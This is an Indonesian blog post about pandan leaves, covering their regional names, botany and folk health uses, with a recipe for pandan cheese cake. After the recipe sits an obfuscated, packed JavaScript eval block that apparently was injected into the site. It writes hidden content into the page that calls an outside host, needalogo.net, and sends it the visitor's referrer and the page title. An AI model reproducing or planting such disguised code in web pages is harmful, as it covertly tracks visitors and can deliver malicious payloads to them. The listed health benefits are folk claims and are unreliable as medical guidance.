browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

Pandan, Si Wangi Kaya Manfaat

Posted by on December 2, 2013

index

Gegara tadi pengen nasi liwet, jadi ngebayangin deh aroma nasi pulen yang dikukus bareng pandan. Wah jadi kangen jaman dulu deh, secara dulu kan yang namanya nasi pasti berbau pandan ya…

Nah, ngomongin pandan jadi pengen sedikit menulis kandungan gizinya deh. Tanaman yang sering disebut pandan rampe, pandan seungit, pandan ro’om, maupun pandan wangi di pulau Jawa, atau dibilang seuke bangu, seuke musang, pandan jau, pandan bebau, pandan harum,; pandan rempai, pandan wangi, pandan musang di Sumatera serta dipanggil pondang, pondan, ponda, pondago di Sulawesi dan terkadang disebut pula kelamoni, hao moni,; keker moni, ormon foni, pondak, pondaki, pudaka di Maluku ternyata disebut pandan arrum di Bali) dan bonak di Nusa Tenggara. Adapun sebenarnya tanaman beraroma wangi ini memiliki nama latin Pandanus amaryllifolius dari famili Pandanaccae.

Wah ternyata si wangi ini punya banyak nama yaa.. Si hijau ini tumbuh di daerah tropis dan banyak ditanam di halaman atau di kebun, terkadangjuga  tumbuh liar di tepi sungai, tepi rawa, dan di tempat-tempat yang agak lembap. Pandan dapat tumbuh subur dari daerah pantai sampai daerah dengan ketinggian 500 m dpl. Sebagai perdu tahunan, pandan memiliki  tinggi 1-2 m. dengan batang bulat dan bekas duduk daun, bercabang, menjalar, akar tunjang keluar di sekitar pangkal batang dan cabang. Daun tunggal, duduk, dengan pangkal memeluk batang, tersusun berbaris tiga dalam garis spiral. Helai daun berbentuk pita, tipis, licin, ujung runcing, tepi rata, bertulang sejajar, panjang 40 – 80 cm, lebar 3 – 5 cm, berduri tempel pada ibu tulang daun permukaan bawah bagian ujung-ujungnya, warna hijau. Bunga majemuk, bentuk bongkol, warnanya putih. Buahnya buah batu, menggantung, bentuk bola, diameter 4 – 7,5 cm, dinding buah berambut, warnanya jingga. Perbanyakan dengan pemisahan tunas-tunas muda, yang tumbuh di antara akar-akarnya.

Umumnya, si wangi ini selain sebagai rempah-rempah juga digunakan sebagai bahan baku pembuatan minyak wangi. Daunnya harum kalau diremas atau diiris-iris, sering digunakan sebagai bahan penyedap, pewangi dan pemberi warna hijau pada masakan atau penganan. Irisan daun pandan muda dicampur bunga mawar, melati, cempaka dan kenanga, sering diselipkan di sanggul supaya rambut menjadi harum, atau diletakkan di antara pakaian dalam lemari. Daun pandan yang diiris kecil-kecil juga digunakan untuk campuran bunga rampai atau bunga tujuh rupa.  Hal yang mengejutkan adalah ternyata pandan juga memiliki khasiat khusus sebagai tonikum, penambah nafsu makan dan penenang.

Hal ini karena Padan Wangi memiliki kandungan kimia alkaloid, saponin, flavoida, tanin, polifenol dan zat warna juga zat tannin yang mempunyai efek menenangkan.

Seperti dikutip dari situs iptek, berikut beberapa manfaat pandan bagi kesehatan:
- lemah saraf (neUrasthenia),
- tidak nafsu makan,
- rematik, pegal linu,
- sakit disertai gelisah,
- rambut rontok, menghitamkan rambut, dan
- ketombe.

Berikut resep cake pandan  (dari mb ricke) yang cukup oke buat dicoba trus dikirim ke saya … :P

CAKE PANDAN TABUR KEJU

cake pandan tabur keju

Bahan:

  • 4 kuning telur
  • 30 gram gula pasir halus
  • 1 sdt emulsifier (aku pakai SP)
  • 1 sdm susu cair
  • 4 putih telur
  • ¼ sdt garam
  • 50 gram gula pasir halus
  • 60 gram tepung terigu protein rendah
  • 15 gram maizena
  • ½ sdt baking powder
  • 1 sdt pasta pandan/air daun suji bila ada
  • 50 gram margarin, lelehkan dan dinginkan (aku pakai butter)
  • 100 gram keju cheddar parut untuk taburan

Cara membuat:

  • Kocok kuning telur, 30 gram gula pasir halus dan emulsifier sampai kental dan pucat. Masukkan susu cair dan pasta pandan. Kocok rata. Sisihkan.
  • Kocok putih telur dan garam sampai setengah mengembang. Masukkan 50 gram gula pasir halus sedikit demi sedikit sambil terus dikocok sampai mengembang dan soft peak.
  • Masukkan kocokan kuning telur ke dalam kocokan putih telur sambil dikocok perlahan sampai rata.
  • Masukkan sedikit demi sedikit campuran tepung terigu, maizena dan baking powder sambil diayak dan diaduk perlahan sampai rata.
  • Masukkan margarin leleh sedikit demi sedikit sambil diaduk perlahan dan merata.
  • Tuang ke dalam loyang yg dialas kertas roti.
  • Panggang dalam oven sampai matang sekitar 30 menit atau sampai matang

 
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

Leave a Reply